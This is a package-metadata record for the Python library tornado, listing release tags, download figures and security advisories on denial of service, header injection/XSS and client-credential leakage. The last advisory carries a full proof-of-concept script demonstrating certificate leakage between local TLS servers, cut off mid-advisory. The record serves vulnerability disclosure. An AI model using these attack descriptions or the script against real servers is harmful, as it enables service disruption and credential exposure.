hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"2d7ce584ec49a2e2b0028a093182f84c756ad8e1","kind":"tag","published_at":"2013-06-15T18:16:04.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v3.1.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.1.0/manifests"},{"name":"v3.0.2","sha":"1a3088b58d5160c4befbc5119cd5459e0c24a5a1","kind":"tag","published_at":"2013-06-03T01:15:08.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v3.0.2","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"e55590878524d4f47c8c75f38061587faf51d4c5","kind":"tag","published_at":"2013-04-09T03:27:16.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v3.0.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"6c6b72f3a38771792717857c914b976a1a5187cb","kind":"tag","published_at":"2013-03-29T13:02:20.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v3.0.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v3.0.0/manifests"},{"name":"v2.4.1","sha":"169ac4ef4983058eadc72d7dc4860e8acb2c8109","kind":"tag","published_at":"2012-11-25T02:28:09.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.4.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"648bebf0eeb220ebfaa8200bab3bac41add9d650","kind":"tag","published_at":"2012-09-04T05:09:50.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.4.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.4.0/manifests"},{"name":"v2.3.0","sha":"13598908a7872080c6cc20b0dcfbcb0ce89a3447","kind":"tag","published_at":"2012-06-01T04:39:50.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.3.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"8d7f9f014ee2694648654dcbcda733dfdf2052b4","kind":"tag","published_at":"2012-04-24T05:04:40.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.2.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"02bc76155de5bf4dca243e4d0c019c0ac4c8b3be","kind":"tag","published_at":"2012-01-30T19:02:02.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.2.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"fa159286ff3e1b5e625fc42a717c628bf9491938","kind":"tag","published_at":"2011-10-04T17:00:56.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.1.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.1.1/manifests"},{"name":"v2.1.0","sha":"b419316cc72ec7c91239e6a8642088cda4cc3266","kind":"tag","published_at":"2011-09-21T04:22:10.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.1.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"94078a68286abca52854cede8bb52a1cee1d815b","kind":"tag","published_at":"2011-06-22T05:28:57.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v2.0.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v2.0.0/manifests"},{"name":"v1.2.1","sha":"f36fb66f02509b93a7156cd357e82d03155936a9","kind":"tag","published_at":"2011-03-03T20:41:45.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.2.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"f5436204e62b1f7b2716a21e024ae2c572739cf2","kind":"tag","published_at":"2011-02-20T20:56:55.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.2.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"b91245427fac0672d94f7db26e59ec2bd0c46f57","kind":"tag","published_at":"2011-02-09T06:43:17.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.1.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"2338348edda61c663fff8a7f6f77cf489bf63de6","kind":"tag","published_at":"2010-09-08T00:05:33.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.1.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.1.0/manifests"},{"name":"v1.0.1","sha":"2b5064b7ed962603ade0db0c8e21846a9879e30e","kind":"tag","published_at":"2010-08-13T17:56:56.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.0.1","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.0.1/manifests"},{"name":"v1.0.0","sha":"eb5b3d8df7a305ac1ffa0a12c813e5d7ee4d6cd3","kind":"tag","published_at":"2010-07-22T23:56:38.000Z","download_url":"https://codeload.github.com/tornadoweb/tornado/tar.gz/v1.0.0","html_url":"https://github.com/tornadoweb/tornado/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/tornadoweb/tornado@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tornadoweb%2Ftornado/tags/v1.0.0/manifests"}]},"repo_metadata_updated_at":"2026-08-23T03:45:05.395Z","dependent_packages_count":853,"downloads":119711082,"downloads_period":"last-month","dependent_repos_count":113286,"rankings":{"downloads":0.031180817561036453,"dependent_repos_count":0.009721078416087835,"dependent_packages_count":0.027879319231044357,"stargazers_count":0.23128829967333508,"forks_count":0.1582885032657321,"docker_downloads_count":0.015406992206629775,"average":0.0789608350589776},"purl":"pkg:pypi/tornado","advisories":[{"uuid":"GSA_kwCzR0hTQS1qaG1wLW1xd20tM2dxOM4ABcPq","url":"https://github.com/advisories/GHSA-jhmp-mqwm-3gq8","title":"Tornado: Quadratic DoS via Crafted Multipart Parameters","description":"## Summary\n\nThe `_parseparam` function in Tornado's `httputil.py` is used to parse specific HTTP header values, such as those in `multipart/form-data`. This function uses an inefficient algorithm that repeatedly calls `string.count()` within a nested loop while processing quoted semicolons (e.g., `param=\";\"`).\n\nAs a result, if an attacker sends a request with a large number of maliciously crafted parameters in a `Content-Disposition` header, the server's CPU usage increases quadratically (O(n²)) during parsing. Due to Tornado's single event loop architecture, a single malicious request can cause the entire server to become unresponsive for an extended period, leading to a Denial of Service (DoS).\n\n**Severity: High**","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T18:57:54.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-jhmp-mqwm-3gq8","https://nvd.nist.gov/vuln/detail/CVE-2025-67726","https://github.com/tornadoweb/tornado/commit/771472cfdaeebc0d89a9cc46e249f8891a6b29cd","https://github.com/pypa/advisory-database/tree/main/vulns/tornado/PYSEC-2025-267.yaml","https://github.com/tornadoweb/tornado/releases/tag/v6.5.3","https://github.com/advisories/GHSA-jhmp-mqwm-3gq8"],"source_kind":"github","identifiers":["GHSA-jhmp-mqwm-3gq8","CVE-2025-67726"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T19:00:08.331Z","updated_at":"2026-08-10T06:01:00.186Z","epss_percentage":0.00543,"epss_percentile":0.42649,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qaG1wLW1xd20tM2dxOM4ABcPq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qaG1wLW1xd20tM2dxOM4ABcPq","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.3","vulnerable_version_range":"\u003c 6.5.3"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qaG1wLW1xd20tM2dxOM4ABcPq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jOThwLTd3Z20tNnA2NM4ABcPp","url":"https://github.com/advisories/GHSA-c98p-7wgm-6p64","title":"Tornado: Quadratic DoS via Repeated Header Coalescing","description":"## Summary\n\nThe `HTTPHeaders.add` method in Tornado accumulates values using string concatenation when the same header name is repeated. Due to Python string immutability, each concatenation copies the entire string, resulting in O(n²) time complexity.\n\nGiven Tornado's single event loop architecture, a single maliciously crafted HTTP request can block the server's event loop for an extended period, causing a Denial of Service (DoS).\n\n**Severity:**  **High** if `max_header_size` has been increased from its default, **low** if it has its default value of 64KB.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T18:57:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-c98p-7wgm-6p64","https://nvd.nist.gov/vuln/detail/CVE-2025-67725","https://github.com/tornadoweb/tornado/commit/771472cfdaeebc0d89a9cc46e249f8891a6b29cd","https://github.com/pypa/advisory-database/tree/main/vulns/tornado/PYSEC-2025-266.yaml","https://github.com/tornadoweb/tornado/releases/tag/v6.5.3","https://github.com/advisories/GHSA-c98p-7wgm-6p64"],"source_kind":"github","identifiers":["GHSA-c98p-7wgm-6p64","CVE-2025-67725"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T19:00:08.331Z","updated_at":"2026-08-12T04:01:01.472Z","epss_percentage":0.00559,"epss_percentile":0.4355,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOThwLTd3Z20tNnA2NM4ABcPp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jOThwLTd3Z20tNnA2NM4ABcPp","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.3","vulnerable_version_range":"\u003c 6.5.3"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jOThwLTd3Z20tNnA2NM4ABcPp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wcjJ2LWp4MmMtd2c5Zs4ABcPo","url":"https://github.com/advisories/GHSA-pr2v-jx2c-wg9f","title":"Tornado vulnerable to Header Injection and XSS via reason argument","description":"# Header injection and XSS via `reason` argument\n\n## Summary\n\nThe `reason` argument (used by both `RequestHandler.set_status` and `tornado.web.HTTPError` is designed to allow applications to pass custom \"reason\" phrases (the \"Not Found\" in `HTTP/1.1 404 Not Found`) to the HTTP status line (mainly for non-standard status codes). Vulnerabilities exist in Tornado versions prior to 6.5.3 if untrusted data is passed as the `reason` argument.\n\n## Details\n\nIn vulnerable versions, the supplied `reason` phrase is used unescaped in HTTP headers (where it could be used for header injection) or in HTML in the default error page (where it could be used for XSS).\n\n## Impact\n\n* **Type:** Reflected Cross-Site Scripting (CWE-79) in default error page, or header injection (CWE-644)\n* **Actors:** Remote attacker who can cause the application to raise `HTTPError`/`set_status` with an attacker-controlled `reason` (e.g., via query parameter used by developer).\n* **Effect:** Execution of arbitrary JavaScript in victims' browsers when they view the error page — possible session token theft, CSRF escalation, UI spoofing, or other client-side attacks depending on context.\n* **Scope:** Only applications that explicitly reflect untrusted input into `reason` are affected.\n\n## Mitigation\n\nAside from upgrading to Tornado 6.5.3 or newer, the vulnerability can be mitigated by not using untrusted data for the `reason` argument. In the intended use case the `reason` argument would generally be a string literal and not derived from user input. Also, the `reason` argument is rarely required (reason phrases are not used at all in HTTP/2) and can generally be omitted.\n\nFor a general-purpose error message in HTTPError, consider using the `log_message` argument instead of `reason`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-20T18:55:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","references":["https://github.com/tornadoweb/tornado/security/advisories/GHSA-pr2v-jx2c-wg9f","https://nvd.nist.gov/vuln/detail/CVE-2025-67724","https://github.com/tornadoweb/tornado/commit/9c163aebeaad9e6e7d28bac1f33580eb00b0e421","https://github.com/pypa/advisory-database/tree/main/vulns/tornado/PYSEC-2025-265.yaml","https://github.com/tornadoweb/tornado/releases/tag/v6.5.3","https://github.com/advisories/GHSA-pr2v-jx2c-wg9f"],"source_kind":"github","identifiers":["GHSA-pr2v-jx2c-wg9f","CVE-2025-67724"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T19:00:08.331Z","updated_at":"2026-08-14T00:01:07.166Z","epss_percentage":0.00235,"epss_percentile":0.14502,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjJ2LWp4MmMtd2c5Zs4ABcPo","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wcjJ2LWp4MmMtd2c5Zs4ABcPo","packages":[{"ecosystem":"pypi","package_name":"tornado","versions":[{"first_patched_version":"6.5.3","vulnerable_version_range":"\u003c 6.5.3"}],"purl":"pkg:pypi/tornado"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wcjJ2LWp4MmMtd2c5Zs4ABcPo/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wdzZqLXFnMjktOHc3Zs4ABYsW","url":"https://github.com/advisories/GHSA-pw6j-qg29-8w7f","title":"Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse","description":"# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below — a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) — both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n— `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A — client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B — proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n    curl.setopt(pycurl.PROXY, request.proxy_host)\n    curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n    if request.proxy_username:                 # only place PROXYUSERPWD is set\n        ...\n        curl.setopt(pycurl.PROXYUSERPWD, credentials)\n    ...\nelse:\n    try:\n        curl.unsetopt(pycurl.PROXY)\n    except TypeError:\n        curl.setopt(pycurl.PROXY, \"\")\n    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request's\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance — a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A — client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n    return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    cert = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(name)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n        .sign(key, hashes.SHA256())\n    )\n    return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    b = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(ca_cert.subject)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n    )\n    if ips:\n        b = b.add_extension(\n            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n            critical=False,\n        )\n    if client:\n        b = b.add_extension(\n            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n        )\n    return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n    with open(path, \"wb\") as fh:\n        fh.write(cert.public_bytes(serialization.Encoding.PEM))\n        if key is not None:\n            fh.write(key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n\nclass TLSServer:\n    def __init__(self, srv_pem, ca_pem, require):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n        self.ctx.load_cert_chain(srv_pem)\n        self.ctx.load_verify_locations(ca_pem)\n        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                s = self.ctx.wrap_socket(conn, server_side=True)\n                self.captures.append(s.getpeercert() or None)\n                try:\n                    s.recv(4096)\n                    s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n                except Exception:\n                    pass\n                s.close()\n            except Exception:\n                self.captures.append(\"handshake-failed\")\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef _cn(peer):\n    if not peer or not isinstance(peer, dict):\n        return None\n    for rdn in peer.get(\"subject\", ()):\n        for k, v in rdn:\n            if k == \"commonName\":\n                return v\n    return None\n\n\nasync def main():\n    with tempfile.TemporaryDirectory() as tmp:\n        ca_cert, ca_key = _ca()\n        s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n        ca_pem = os.path.join(tmp, \"ca.pem\")\n        s1_pem = os.path.join(tmp, \"s1.pem\")\n        s2_pem = os.path.join(tmp, \"s2.pem\")\n        cert_pem = os.path.join(tmp, \"client.crt\")\n        key_pem = os.path.join(tmp, \"client.key\")\n        _pem(ca_pem, ca_cert)\n        _pem(s1_pem, s1_cert, s1_key)\n        _pem(s2_pem, s2_cert, s2_key)\n        _pem(cert_pem, cli_cert)\n        with open(key_pem, \"wb\") as fh:\n            fh.write(cli_key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n        s1 = TLSServer(s1_pem, ca_pem, require=True)\n        s2 = TLSServer(s2_pem, ca_pem, require=False)\n        try:\n            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await clean.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/baseline\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            clean.close()\n\n            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n                client_cert=cert_pem, client_key=key_pem,\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/other-host\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await asyncio.sleep(0.2)\n            client.close()\n        finally:\n            s1.stop()\n            s2.stop()\n\n        baseline = _cn(s2.captures[0]) if s2.captures else None\n        leaked = _cn(s2.captures[1]) if len(s2.captures) \u003e 1 else None\n\n        print(f\"{'scenario':\u003c48}{'cert presented to server 2'}\")\n        print(f\"{'-' * 48}{'-' * 28}\")\n        print(f\"{'baseline: clean client, no client_cert':\u003c48}{baseline!r}\")\n        print(f\"{'exploit: reused handle (A had client_cert)':\u003c48}{leaked!r}\")\n        print()\n        print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n        print()\n        if baseline is None and leaked == \"trusted-client\":\n            print(\"VERDICT: VULNERABLE — the client certificate from request A was \"\n                  \"presented to server 2 on request B, which specified none.\")\n            return 0\n        print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` 